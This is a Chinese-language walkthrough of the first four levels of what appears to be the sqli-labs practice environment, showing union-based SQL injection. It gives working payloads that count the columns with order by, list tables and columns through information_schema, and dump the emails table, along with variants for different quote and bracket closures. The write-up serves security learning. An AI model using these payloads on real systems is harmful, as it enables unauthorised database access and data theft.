Less-(1~4) union select
Less-1:
核心语句:
无任何防护;回显查询结果或错误内容。
输入单引号闭合语句中的单引号,#注释后面的内容,即可注入。由于有查询结果回显,直接联合注入即可。
1'order by x #(有些环境下#天然不行,需要使用--+或--空格)
探测查询的列数;union select要求前后查询列数必须一致,但语句中的*让我们无法知晓列数。order by语句当x大于列数时报错,小于等于时无回显。最后测得列数为3.
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database(); --+
查看当前数据库的所有表名称。
1.此处开始,单引号前面就不能写能查到的东西,否则$row抓取的就是它而不是注入查询的内容
2.group_concat 把查询结果显示到一起;不用则只能显示出一个。
' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' --+
查看emails表中各列的名称。
' union select 1,2,group_concat(id,'~',email_id) from emails --+
查询表内容。
至此,注入结束。这也是一个联合查询注入的模板。
Less-2:
核心语句:
和Less-1相比,本题仅仅少了单引号。故将前面payload中的单引号删去即可。注意需要输入查询一个不存在的值。
eg:-1 union select 1,2,group_concat(id,'~',email_id) from emails --+
Less-3:
核心语句:
和Less-1相比,仅仅多了小括号。故payload中闭合它即可。
eg:-1') union select 1,2,group_concat(id,'~',email_id) from emails --+
Less-4:
核心语句:
和Less-3相比,仅仅将单引号改为了双引号。跟着改即可。
eg:-1") union select 1,2,group_concat(id,'~',email_id) from emails --+
由此,当我们确定注入形式(无过滤,get型)又不知道源代码时,使用多种符号的尝试去闭合它是很重要的。在前面输入一个能查询到的id,再加上闭合符号;若成功闭合,则正常回显;否则就无回显/报错。